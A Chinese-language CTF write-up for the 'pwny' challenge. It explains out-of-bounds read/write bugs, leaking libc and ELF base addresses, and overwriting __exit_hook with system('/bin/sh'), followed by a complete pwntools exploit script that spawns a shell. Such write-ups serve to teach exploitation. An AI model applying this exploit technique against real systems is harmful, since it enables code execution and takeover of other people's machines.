oin

writeup


pwny

[TOC]

🌓分析

程序提供了三个选项:read、write和exit Read和Write函数都没有检测输入的index合法性,也就可以任意写任意读 值得注意的是这里的fd并不是0,也就是我们无法输入 fd是3,也就是读取随机数到存储空间中 fd的位置存储在list的下面,可以利用数组越界来用read函数读取随机数写入fd,然后在此用read函数读取,这个时候fd是一个随机数,而不是有效的文件描述符,这时候就会写入0 接下来就可以正常使用Read和Write,首先使用Read来泄露libc函数地址和程序地址 libc函数地址可以泄露got内容 程序地址可以泄露该处,两处偏移量分别为-25和-11,然后就可以计算出libc基地址和elf基地址 然后即可计算__exit_hook地址、__exit_hook参数地址和list地址,计算offset,就可以修改__exit_hook内容为system,修改参数地址为/bin/sh,最后exit即可拿到shell

🌓Exploit

from pwn import*
#context.log_level = 'debug'

o = process('./pwny')
elf = ELF("./pwny")
libc = elf.libc

def read(index):
    o.recvuntil('Your choice:')
    o.sendline('1')
    o.sendafter('Index:', str(index))

def write(index, content):
    o.recvuntil('Your choice:')
    o.sendline('2')
    o.sendlineafter('Index: ', str(index))
    o.send(content)

write(256, '')
write(256, '')
read(p64(-25&0xffffffffffffffff))
o.recvuntil('Result: ')
puts_addr = int(o.recvuntil('\n')[:-1], 16)
libc_base = puts_addr - libc.sym['puts']
log.info("libc_base: "+hex(libc_base))
read(p64(-11&0xffffffffffffffff))
o.recvuntil('Result: ')
data = int(o.recv(12), 16)
elf_base = data - 0x202008
log.info("elf_base: "+hex(elf_base))
li = elf_base + 0x202060
exit_hook = libc_base + 0x619f60
arg = libc_base + 0x619968
sys_addr = libc_base + libc.sym['system']
offset = (exit_hook - li) / 8
offset2 = (arg - li) / 8
write(offset, p64(sys_addr))
write(offset2, "/bin/sh\x00")
o.recvuntil('Your choice:')
o.sendline('3')
o.interactive()

🌓参考文章

__exit_hook

🌓附件

https://flowus.cn/c3n1g/share/208d1617-d790-41a1-80c2-ab3c32aa167d 【FlowUs 息流】pwny.zip

页面列表

ITEM_HTML